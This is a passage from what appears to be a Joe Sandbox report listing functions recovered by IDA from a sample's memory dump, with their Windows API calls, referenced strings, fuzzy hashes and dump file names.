Opcode ID: 6f164dd52aed0b3e7601628cc9ed6417e7de630f25505cd46ec22d9d7ac19796
Instruction ID: 7a9a8a011d81d02838b951551ba85c51959b5acc6c36ef0ce773a54ed75871d3
Opcode Fuzzy Hash: 6f164dd52aed0b3e7601628cc9ed6417e7de630f25505cd46ec22d9d7ac19796
Instruction Fuzzy Hash: 4C712730640206BEEB219F75DC49FAABF68FF05768F205206F62C7A1E1C7B1A914DB54

Function 00ED6CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,?), ref: 00ED6DEB

Part of subcall function 00E46B57: _wcslen.LIBCMT ref: 00E46B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00ED6E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00ED6E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00ED6E94
DestroyWindow.USER32(?), ref: 00ED6EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00E40000,00000000), ref: 00ED6EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00ED6EFD
GetDesktopWindow.USER32 ref: 00ED6F16
GetWindowRect.USER32(00000000), ref: 00ED6F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00ED6F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00ED6F4D

Part of subcall function 00E59944: GetWindowLongW.USER32(?,000000EB), ref: 00E59952

Strings

tooltips_class32, xrefs: 00ED6E58, 00ED6EDD
0, xrefs: 00ED6D98

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: cbef19aa3a87c2214e867928736868d2d434d86ec1de6e009b074adb13ef6e0c
Instruction ID: 1e43ce2644ea6f63cd23bad9fbe59453255449de5e3d6564f9c703f7b1bb78e3
Opcode Fuzzy Hash: cbef19aa3a87c2214e867928736868d2d434d86ec1de6e009b074adb13ef6e0c
Instruction Fuzzy Hash: 2E718B70204245AFDB21CF18DC44EAABBF9FB89708F54541EF999A7361C770E90ADB12

Function 00ED911E Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E59BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00E59BB2

DragQueryPoint.SHELL32(?,?), ref: 00ED9147

Part of subcall function 00ED7674: ClientToScreen.USER32(?,?), ref: 00ED769A
Part of subcall function 00ED7674: GetWindowRect.USER32(?,?), ref: 00ED7710
Part of subcall function 00ED7674: PtInRect.USER32(?,?,00ED8B89), ref: 00ED7720

SendMessageW.USER32(?,000000B0,?,?), ref: 00ED91B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00ED91BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00ED91DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00ED9225
SendMessageW.USER32(?,000000B0,?,?), ref: 00ED923E
SendMessageW.USER32(?,000000B1,?,?), ref: 00ED9255
SendMessageW.USER32(?,000000B1,?,?), ref: 00ED9277
DragFinish.SHELL32(?), ref: 00ED927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00ED9371

Strings

@GUI_DRAGFILE, xrefs: 00ED9320
@GUI_DROPID, xrefs: 00ED929E
@GUI_DRAGID, xrefs: 00ED92E9

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 221274066-3440237614
Opcode ID: 5ee885da093f8bf8c6aad13e050561aaf9292866d6ecaf37e836697b27ad8586
Instruction ID: b2c69659bdd4815b81c42efd767a75b4526a7afe87e89616d96b9263d2be3a1f
Opcode Fuzzy Hash: 5ee885da093f8bf8c6aad13e050561aaf9292866d6ecaf37e836697b27ad8586
Instruction Fuzzy Hash: E2617C71108301AFD701DF55EC85DAFBBE8EF88750F50191EF5A5A32A1DB309A49CB52

Function 00EBC476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00EBC4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00EBC4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00EBC4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00EBC4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 00EBC533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00EBC549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00EBC554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00EBC584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00EBC5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00EBC5F0
InternetCloseHandle.WININET(00000000), ref: 00EBC5FB

Strings

, xrefs: 00EBC575

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: 5347f39de38aadec8f766a28d7e098bec8ceb16b7426ce7b4ab496769733773b
Instruction ID: ba4c642f51cca2e5588d567d9bb1f1a174c80fd78523b2413672bf95ae157614
Opcode Fuzzy Hash: 5347f39de38aadec8f766a28d7e098bec8ceb16b7426ce7b4ab496769733773b
Instruction Fuzzy Hash: F6516FB0505609BFDB218F61D988AEB7BFCFF08788F20541AF945E6110DB30E948DB60

Function 00ED856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00000000,?,000000EC), ref: 00ED8592
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00ED85A2
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00ED85AD
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00ED85BA
GlobalLock.KERNEL32(00000000), ref: 00ED85C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00ED85D7
GlobalUnlock.KERNEL32(00000000), ref: 00ED85E0
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00ED85E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,000000F0,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00ED85F8
OleLoadPicture.OLEAUT32(000000F0,00000000,00000000,00EDFC38,?), ref: 00ED8611
GlobalFree.KERNEL32(00000000), ref: 00ED8621
GetObjectW.GDI32(?,00000018,?), ref: 00ED8641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00ED8671
DeleteObject.GDI32(?), ref: 00ED8699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00ED86AF

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 670f6d1d2c84e65b3ef72af4b1388a66ec853bf59af8790587e501142431052c
Instruction ID: 2b6c321261d40578cf546b029dcc050abcf2ded06488a28d6b3772cf8db8799a
Opcode Fuzzy Hash: 670f6d1d2c84e65b3ef72af4b1388a66ec853bf59af8790587e501142431052c
Instruction Fuzzy Hash: 4E415B71601205AFDB10CFA6ED48EAE7BBCEF89B55F10415AF815E72A0DB309905CB20

Function 00EB14BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00EB1502
VariantCopy.OLEAUT32(?,?), ref: 00EB150B
VariantClear.OLEAUT32(?), ref: 00EB1517
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00EB15FB
VarR8FromDec.OLEAUT32(?,?), ref: 00EB1657
VariantInit.OLEAUT32(?), ref: 00EB1708
SysFreeString.OLEAUT32(?), ref: 00EB178C
VariantClear.OLEAUT32(?), ref: 00EB17D8
VariantClear.OLEAUT32(?), ref: 00EB17E7
VariantInit.OLEAUT32(00000000), ref: 00EB1823

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00EB1625
Default, xrefs: 00EB16AF

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: 03b1e3dda0927f4d2ecb1bfb146a1bed2c26be39c9a87ad14a19a7415f0308ce
Instruction ID: a85e244d679b2dfd034a641c4ca818b432d4472f6539c324ce85b55ae84dfb65
Opcode Fuzzy Hash: 03b1e3dda0927f4d2ecb1bfb146a1bed2c26be39c9a87ad14a19a7415f0308ce
Instruction Fuzzy Hash: B9D10132A01215DBCB209F65E8A4BFAB7F5BF45720FA49596F806BB180DB30DC44DB91

Function 00ECB60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

Part of subcall function 00ECC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00ECB6AE,?,?), ref: 00ECC9B5
Part of subcall function 00ECC998: _wcslen.LIBCMT ref: 00ECC9F1
Part of subcall function 00ECC998: _wcslen.LIBCMT ref: 00ECCA68
Part of subcall function 00ECC998: _wcslen.LIBCMT ref: 00ECCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00ECB6F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00ECB772
RegDeleteValueW.ADVAPI32(?,?), ref: 00ECB80A
RegCloseKey.ADVAPI32(?), ref: 00ECB87E
RegCloseKey.ADVAPI32(?), ref: 00ECB89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 00ECB8F2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00ECB904
RegDeleteKeyW.ADVAPI32(?,?), ref: 00ECB922
FreeLibrary.KERNEL32(00000000), ref: 00ECB983
RegCloseKey.ADVAPI32(00000000), ref: 00ECB994

Strings

advapi32.dll, xrefs: 00ECB8ED
RegDeleteKeyExW, xrefs: 00ECB8FE

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: 28e69333f2d53bd837c72ace5a45f4882afabce54af65d697c8a0850858645e5
Instruction ID: 0b2459d7dacb68c62ad91c213a1d5bd11992714c61284e67eb92c8903ae73645
Opcode Fuzzy Hash: 28e69333f2d53bd837c72ace5a45f4882afabce54af65d697c8a0850858645e5
Instruction Fuzzy Hash: 3CC1B131205201AFD714DF14D595F2ABBE5FF84308F24955CF49AAB2A2CB36EC46CB91

Function 00EC255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00EC25D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00EC25E8
CreateCompatibleDC.GDI32(?), ref: 00EC25F4
SelectObject.GDI32(00000000,?), ref: 00EC2601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 00EC266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 00EC26AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 00EC26D0
SelectObject.GDI32(?,?), ref: 00EC26D8
DeleteObject.GDI32(?), ref: 00EC26E1
DeleteDC.GDI32(?), ref: 00EC26E8
ReleaseDC.USER32(00000000,?), ref: 00EC26F3

Strings

(, xrefs: 00EC268D

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 127f3d057b7f502f7da9866cdca3deee7169c873968d2133aee33694b6c06067
Instruction ID: 51d1817580d60614511228ac0848bcc9463cab7432c81a95ad9aa78b7576db1e
Opcode Fuzzy Hash: 127f3d057b7f502f7da9866cdca3deee7169c873968d2133aee33694b6c06067
Instruction Fuzzy Hash: 1561D275D01219AFCB04CFA4D985EAEBBF5FF48310F20852AE955B7250D771A941CFA0

Function 00E7DA5D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00E7DAA1

Part of subcall function 00E7D63C: _free.LIBCMT ref: 00E7D659
Part of subcall function 00E7D63C: _free.LIBCMT ref: 00E7D66B
Part of subcall function 00E7D63C: _free.LIBCMT ref: 00E7D67D
Part of subcall function 00E7D63C: _free.LIBCMT ref: 00E7D68F
Part of subcall function 00E7D63C: _free.LIBCMT ref: 00E7D6A1
Part of subcall function 00E7D63C: _free.LIBCMT ref: 00E7D6B3
Part of subcall function 00E7D63C: _free.LIBCMT ref: 00E7D6C5
Part of subcall function 00E7D63C: _free.LIBCMT ref: 00E7D6D7
Part of subcall function 00E7D63C: _free.LIBCMT ref: 00E7D6E9
Part of subcall function 00E7D63C: _free.LIBCMT ref: 00E7D6FB
Part of subcall function 00E7D63C: _free.LIBCMT ref: 00E7D70D
Part of subcall function 00E7D63C: _free.LIBCMT ref: 00E7D71F
Part of subcall function 00E7D63C: _free.LIBCMT ref: 00E7D731

_free.LIBCMT ref: 00E7DA96

Part of subcall function 00E729C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00E7D7D1,00000000,00000000,00000000,00000000,?,00E7D7F8,00000000,00000007,00000000,?,00E7DBF5,00000000), ref: 00E729DE
Part of subcall function 00E729C8: GetLastError.KERNEL32(00000000,?,00E7D7D1,00000000,00000000,00000000,00000000,?,00E7D7F8,00000000,00000007,00000000,?,00E7DBF5,00000000,00000000), ref: 00E729F0

_free.LIBCMT ref: 00E7DAB8
_free.LIBCMT ref: 00E7DACD
_free.LIBCMT ref: 00E7DAD8
_free.LIBCMT ref: 00E7DAFA
_free.LIBCMT ref: 00E7DB0D
_free.LIBCMT ref: 00E7DB1B
_free.LIBCMT ref: 00E7DB26
_free.LIBCMT ref: 00E7DB5E
_free.LIBCMT ref: 00E7DB65
_free.LIBCMT ref: 00E7DB82
_free.LIBCMT ref: 00E7DB9A

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: f71ee1bc201349dab409c5880805b1165cd6324cf71382ad94946cb2a75fb368
Instruction ID: feadde61d19aaccbe3f1dc575a09e4cd389d0d3dfa909180ac1ff50bcb36c6b8
Opcode Fuzzy Hash: f71ee1bc201349dab409c5880805b1165cd6324cf71382ad94946cb2a75fb368
Instruction Fuzzy Hash: 08314A316086059FEB21AA79EC45B5AB7F9FF40314F15E419E64DF7192DB31AC808760

Function 00EA365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00EA369C
_wcslen.LIBCMT ref: 00EA36A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00EA3797
GetClassNameW.USER32(?,?,00000400), ref: 00EA380C
GetDlgCtrlID.USER32(?), ref: 00EA385D
GetWindowRect.USER32(?,?), ref: 00EA3882
GetParent.USER32(?), ref: 00EA38A0
ScreenToClient.USER32(00000000), ref: 00EA38A7
GetClassNameW.USER32(?,?,00000100), ref: 00EA3921
GetWindowTextW.USER32(?,?,00000400), ref: 00EA395D

Strings

%s%u, xrefs: 00EA3734

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: a13f3e276bff7b69fde4edbdbabc7cca029ef7357e0c7205c2dfe6d11b808528
Instruction ID: a586d54842d3cf8df8c5e428e5848ce94dc786d5f8a9064abb33481ad675f98f
Opcode Fuzzy Hash: a13f3e276bff7b69fde4edbdbabc7cca029ef7357e0c7205c2dfe6d11b808528
Instruction Fuzzy Hash: D391D471204606AFD708DF34D885BABB7E8FF49344F105619F999EA190DB30FA45CB91

Function 00EA4954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 00EA4994
GetWindowTextW.USER32(?,?,00000400), ref: 00EA49DA
_wcslen.LIBCMT ref: 00EA49EB
CharUpperBuffW.USER32(?,00000000), ref: 00EA49F7
_wcsstr.LIBVCRUNTIME ref: 00EA4A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 00EA4A64
GetWindowTextW.USER32(?,?,00000400), ref: 00EA4A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00EA4AE6
GetClassNameW.USER32(?,?,00000400), ref: 00EA4B20
GetWindowRect.USER32(?,?), ref: 00EA4B8B

Strings

ThumbnailClass, xrefs: 00EA4A6F, 00EA4AF1

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: e3fc6295e9d86531c58c6f2f7b4109f9c5b69ffa8080b16b6aa9fc6e41a1f56f
Instruction ID: fcc3b6d302abac2956813e8fa843f1b353f47437fae51995ab024a7468d24fb5
Opcode Fuzzy Hash: e3fc6295e9d86531c58c6f2f7b4109f9c5b69ffa8080b16b6aa9fc6e41a1f56f
Instruction Fuzzy Hash: 8A91C1B10042059FDB04CF14D981BAAB7E8EF89758F04646AFD85AE0D6DB70FD45CBA1

Function 00ED8D0E Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 221windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E59BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00E59BB2

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00ED8D5A
GetFocus.USER32 ref: 00ED8D6A
GetDlgCtrlID.USER32(00000000), ref: 00ED8D75
DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?,?,?,?), ref: 00ED8E1D
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00ED8ECF
GetMenuItemCount.USER32(?), ref: 00ED8EEC
GetMenuItemID.USER32(?,00000000), ref: 00ED8EFC
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00ED8F2E
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00ED8F70
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00ED8FA1

Strings

0, xrefs: 00ED8E9F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
String ID: 0
API String ID: 1026556194-4108050209
Opcode ID: 40fce2c8099730165db9ce65f19dff9f905798923d8a2f76d22c96fd4aa3cf47
Instruction ID: 095d54bbc1780bcc5fad21463019d54299782f5474ee3c4b90586476e486beba
Opcode Fuzzy Hash: 40fce2c8099730165db9ce65f19dff9f905798923d8a2f76d22c96fd4aa3cf47
Instruction Fuzzy Hash: 4181BE716043059FD720CF14DE84AAB7BE9FB88758F142A1EF994A7391DB30D906CB62

Function 00EADC0E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00EADC20
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00EADC46
_wcslen.LIBCMT ref: 00EADC50
_wcsstr.LIBVCRUNTIME ref: 00EADCA0
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00EADCBC

Strings

\VarFileInfo\Translation, xrefs: 00EADCB4
%u.%u.%u.%u, xrefs: 00EADD9A
DefaultLangCodepage, xrefs: 00EADD1F
04090000, xrefs: 00EADCF2
StringFileInfo\, xrefs: 00EADC8F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: FileInfoVersion$QuerySizeValue_wcslen_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 1939486746-1459072770
Opcode ID: 9771dc8bbe4a94ac27d5e6bb70faa28b68322bcf0cc6c9cd732cc5bdb7dcaf63
Instruction ID: dbc6919c9bf85e7594021f0064efca01d152d8b20842183380884d6494f4089f
